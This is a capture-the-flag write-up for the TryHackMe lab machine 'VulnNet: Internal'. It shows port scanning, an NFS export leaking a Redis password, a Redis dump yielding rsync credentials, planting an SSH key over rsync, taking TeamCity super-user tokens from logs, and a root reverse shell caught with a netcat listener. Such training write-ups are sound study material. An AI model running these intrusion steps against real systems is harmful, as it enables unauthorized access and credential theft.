TryHackMe: VulNet Internal

TryHackMe: VulNet Internal

VulnNet: Internal

TryHackMe: VulNet: Internal by MindOverflow

VulnNet Entertainment is a company that learns from its mistakes. They quickly realized that they can't make a properly secured web application so they gave up on that idea. Instead, they decided to set up internal services for business purposes. As usual, you're tasked to perform a penetration test of their network and report your findings.

Difficulty: Easy/Medium
Operating System: Linux

This machine was designed to be quite the opposite of the previous machines in this series and it focuses on internal services. It's supposed to show you how you can retrieve interesting information and use it to gain system access. Report your findings by submitting the correct flags.

Note: It might take 3-5 minutes for all the services to boot.

Author: TheCyb3rW0lf
Discord: CyberWølf#8594

Icon made by Freepik from www.flaticon.com

Enumeration

Let's throw an entry into /etc/hosts and fire up rustscan

──╼ $rustscan -a vulnetint -- -sC -sV -A -oA vulnetint -vv
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.206.9:22
Open 10.10.206.9:111
Open 10.10.206.9:139
Open 10.10.206.9:445
Open 10.10.206.9:873
Open 10.10.206.9:2049
Open 10.10.206.9:6379
Open 10.10.206.9:41887
Open 10.10.206.9:43419
Open 10.10.206.9:46523
Open 10.10.206.9:59159
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 20:11 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.00s elapsed
Initiating Ping Scan at 20:11
Scanning 10.10.206.9 [2 ports]
Completed Ping Scan at 20:11, 0.04s elapsed (1 total hosts)
Initiating Connect Scan at 20:11
Scanning vulnetint (10.10.206.9) [11 ports]
Discovered open port 445/tcp on 10.10.206.9
Discovered open port 139/tcp on 10.10.206.9
Discovered open port 111/tcp on 10.10.206.9
Discovered open port 22/tcp on 10.10.206.9
Discovered open port 46523/tcp on 10.10.206.9
Discovered open port 41887/tcp on 10.10.206.9
Discovered open port 6379/tcp on 10.10.206.9
Discovered open port 873/tcp on 10.10.206.9
Discovered open port 59159/tcp on 10.10.206.9
Discovered open port 2049/tcp on 10.10.206.9
Discovered open port 43419/tcp on 10.10.206.9
Completed Connect Scan at 20:11, 0.08s elapsed (11 total ports)
Initiating Service scan at 20:11
Scanning 11 services on vulnetint (10.10.206.9)
Completed Service scan at 20:11, 16.19s elapsed (11 services on 1 host)
NSE: Script scanning 10.10.206.9.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 2.15s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.18s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.00s elapsed
Nmap scan report for vulnetint (10.10.206.9)
Host is up, received conn-refused (0.040s latency).
Scanned at 2021-07-28 20:11:16 BST for 19s

PORT      STATE SERVICE     REASON  VERSION
22/tcp    open  ssh         syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDagA3GVO7hKpJpO1Vr6+z3Y9xjoeihZFWXSrBG2MImbpPH6jk+1KyJwQpGmhMEGhGADM1LbmYf3goHku11Ttb0gbXaCt+mw1Ea+K0H00jA0ce2gBqev+PwZz0ysxCLUbYXCSv5Dd1XSa67ITSg7A6h+aRfkEVN2zrbM5xBQiQv6aBgyaAvEHqQ73nZbPdtwoIGkm7VL9DATomofcEykaXo3tmjF2vRTN614H0PpfZBteRpHoJI4uzjwXeGVOU/VZcl7EMBd/MRHdspvULJXiI476ID/ZoQLT2zQf5Q2vqI3ulMj5CB29ryxq58TVGSz/sFv1ZBPbfOl9OvuBM5BTBV
|   256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNM0XfxK0hrF7d4C5DCyQGK3ml9U0y3Nhcvm6N9R+qv2iKW21CNEFjYf+ZEEi7lInOU9uP2A0HZG35kEVmuideE=
|   256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJPRO3XCBfxEo0XhViW8m/V+IlTWehTvWOyMDOWNJj+i
111/tcp   open  rpcbind     syn-ack 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      46523/tcp   mountd
|   100005  1,2,3      51879/udp   mountd
|   100005  1,2,3      52807/tcp6  mountd
|   100005  1,2,3      59253/udp6  mountd
|   100021  1,3,4      33920/udp6  nlockmgr
|   100021  1,3,4      41021/tcp6  nlockmgr
|   100021  1,3,4      41887/tcp   nlockmgr
|   100021  1,3,4      44664/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp   open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp   open  rsync       syn-ack (protocol version 31)
2049/tcp  open  nfs_acl     syn-ack 3 (RPC #100227)
6379/tcp  open  redis       syn-ack Redis key-value store
41887/tcp open  nlockmgr    syn-ack 1-4 (RPC #100021)
43419/tcp open  mountd      syn-ack 1-3 (RPC #100005)
46523/tcp open  mountd      syn-ack 1-3 (RPC #100005)
59159/tcp open  mountd      syn-ack 1-3 (RPC #100005)
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: 0s
| nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   VULNNET-INTERNA<00>  Flags: <unique><active>
|   VULNNET-INTERNA<03>  Flags: <unique><active>
|   VULNNET-INTERNA<20>  Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 24150/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 44345/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 12822/udp): CLEAN (Failed to receive data)
|   Check 4 (port 31018/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: vulnnet-internal
|   NetBIOS computer name: VULNNET-INTERNAL\x00
|   Domain name: \x00
|   FQDN: vulnnet-internal
|_  System time: 2021-07-28T21:11:33+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-07-28T19:11:33
|_  start_date: N/A

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.28 seconds

NFS

Looking at the above NFS is open so let's take a look

└──╼ $showmount -e vulnetint
Export list for vulnetint:
/opt/conf *

We have a conf directory exported so lets mount that and take a look.

┌─[tj@parrotos]─[~/pentest/ctfs/vulnetint]
└──╼ $mkdir conf
┌─[tj@parrotos]─[~/pentest/ctfs/vulnetint]
└──╼ $sudo mount vulnetint:/opt/conf conf
┌─[tj@parrotos]─[~/pentest/ctfs/vulnetint]
└──╼ $ls conf/
hp  init  opt  profile.d  redis  vim  wildmidi
┌─[tj@parrotos]─[~/pentest/ctfs/vulnetint/conf]
└──╼ $ls *
hp:
hplip.conf

init:
anacron.conf  lightdm.conf  whoopsie.conf

opt:

profile.d:
bash_completion.sh  cedilla-portuguese.sh  input-method-config.sh  vte-2.91.sh

redis:
redis.conf

vim:
vimrc  vimrc.tiny

wildmidi:
wildmidi.cfg

Looking through the files the following looks interesting in the redis.conf

slave-serve-stale-data yes

requirepass "[REDACTED]"

They might have reused that password so will bank it.

Samba

└──╼ $smbclient -N -L //vulnetint

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	shares          Disk      VulnNet Business Shares
	IPC$            IPC       IPC Service (vulnnet-internal server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

Let us take a look in shares

└──╼ $smbclient -N //vulnetint/shares
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Feb  2 09:20:09 2021
  ..                                  D        0  Tue Feb  2 09:28:11 2021
  temp                                D        0  Sat Feb  6 11:45:10 2021
  data                                D        0  Tue Feb  2 09:27:33 2021

		11309648 blocks of size 1024. 3276124 blocks ava

Here under temp we find our first flag
sh

smb: \> cd temp
smb: \temp\> ls
  .                                   D        0  Sat Feb  6 11:45:10 2021
  ..                                  D        0  Tue Feb  2 09:20:09 2021
  services.txt                        N       38  Sat Feb  6 11:45:09 2021

		11309648 blocks of size 1024. 3276124 blocks available
smb: \temp\> get services.txt
getting file \temp\services.txt of size 38 as services.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec

Moving on to data let's grab the files under there...

smb: \> cd data
smb: \data\> ls
  .                                   D        0  Tue Feb  2 09:27:33 2021
  ..                                  D        0  Tue Feb  2 09:20:09 2021
  data.txt                            N       48  Tue Feb  2 09:21:18 2021
  business-req.txt                    N      190  Tue Feb  2 09:27:33 2021

		11309648 blocks of size 1024. 3276124 blocks available
smb: \data\> get data.txt
getting file \data\data.txt of size 48 as data.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \data\> get business-req.txt
getting file \data\business-req.txt of size 190 as business-req.txt (1.0 KiloBytes/sec) (average 0.6 Kilo

Let's take a look at these

└──╼ $cat data.txt 
Purge regularly data that is not needed anymore

└──╼ $cat business-req.txt 
We just wanted to remind you that we’re waiting for the DOCUMENT you agreed to send us so we can complete the TRANSACTION we discussed.
If you have any questions, please text or phone us.

Hmm a bit cryptic and not help as of yet..... what else was open....

redis

Using the password we found earlier we can use nc to connect to redis and query the server info

└──╼ $nc vulnetint 6379
auth [REDACTED]
+OK
info 
$2755
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 4.15.0-135-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:7.4.0
process_id:538
run_id:2b688688620553ed8733a92036cdb5fb00ca868c
tcp_port:6379
uptime_in_seconds:2223
uptime_in_days:0
hz:10
lru_clock:110996
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

# Memory
used_memory:841488
used_memory_human:821.77K
used_memory_rss:2842624
used_memory_rss_human:2.71M
used_memory_peak:841488
used_memory_peak_human:821.77K
used_memory_peak_perc:100.00%
used_memory_overhead:832358
used_memory_startup:782432
used_memory_dataset:9130
used_memory_dataset_perc:15.46%
total_system_memory:2087923712
total_system_memory_human:1.94G
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:3.38
mem_allocator:jemalloc-3.6.0
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1627498725
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

# Stats
total_connections_received:6
total_commands_processed:9
instantaneous_ops_per_sec:0
total_net_input_bytes:190
total_net_output_bytes:525
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:8
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication
role:master
connected_slaves:0
master_replid:7f9d24aef91081f5a01398919e0d1094ac00513b
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:1.55
used_cpu_user:0.92
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=5,expires=0,avg_ttl=0

After messing around with redis I ended up just dumping it to get the internal flag

└──╼ $redis-cli -h vulnetint -a [REDACTED] --rdb dump.rdb
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
sending REPLCONF capa eof
SYNC sent to master, writing 762 bytes to 'dump.rdb'
Transfer finished with success.
Transfer finished with success.

└──╼ $grep -a flag dump.rdb 
internal flag%THM{[REDACTED]}

Inside here we also have a "authlist" key which we can query as below

vulnetint:6379> select 0
OK
vulnetint:6379> keys *
1) "1"
2) "internal flag"
3) "marketlist"
4) "authlist"
5) "int"
6) "tmp"
vulnetint:6379> lrange authlist 0 99
1) "[REDACTED]="
2) "[REDACTED]="
3) "[REDACTED]="
4) "[REDACTED]="

Running this throuogh base64 we get

└──╼ $echo [REDACTED]| base64 -d
Authorization for rsync://rsync-connect@127.0.0.1 with password [REDACTED]

We can know use rysnc to grab files off the target

└──╼ $rsync -av rsync://rsync-connect@vulnetint/

from here we can grab user.txt

cat sys-internal/user.txt

Foothold

Ok, using the access via rsync lets send over our public key

└──╼ $cat ~/.ssh/id_rsa.pub > .ssh/authorized_keys
└──╼ $sudo chown 0600 .ssh/authorised_keys
└──╼ $rsync -av .ssh/* rsync://rsync-connect@vulnetint/files/sys-internal/.s

──╼ $ssh sys-internal@vulnetint
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

541 packages can be updated.
342 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

sys-internal@vulnnet-internal:~$ 

Boom!! we are on the box, unfortunatley we need a password for sudo so let's see if we can find another privesc route...

Let's copy linpeas.sh across and see what we find....

-rwsr-xr-x 1 root root 621K Feb  1 14:44 /usr/local/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable

╔══════════╣ Unexpected in root
/TeamCity

TeamCity

There is a java app listening on 127.0.0.1:8111, to access this we will need to do some poprt forwarding

└──╼ $ssh -L 8111:127.0.0.1:8111 sys-internal@vulnetint

As no admin exists we can create a login using the auth token

sys-internal@vulnnet-internal:/TeamCity/logs$ grep "authentication token" /TeamCity/logs/* 2>/dev/null
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: [REDACTED] (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: [REDACTED] (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: [REDACTED] (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: [REDACTED] (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: [REDACTED] (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: [REDACTED] (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: [REDACTED] (use empty username with the token as the password to access the server)

Now we are logged in we need to find a way to exploit this..... So TeamCity looks like a build system, digging around I create new project and then add a build script to run a command line.

I then click Run in the top right which results in reverseshell as root

└──╼ $nc -lvp 8888
Listening on 0.0.0.0 8888



Connection received on vulnetint 34872
/bin/sh: 0: can't access tty; job control turned off
# # # # id
uid=0(root) gid=0(root) groups=0(root)
# cd
# ls
root.txt
# cat root.txt
THM{[REDACTED]}

Done!

Another room done, although this was an Easy ranked room it took me longer that I would have liked in part due to the fact that I do not know allot about redis....

Show Comments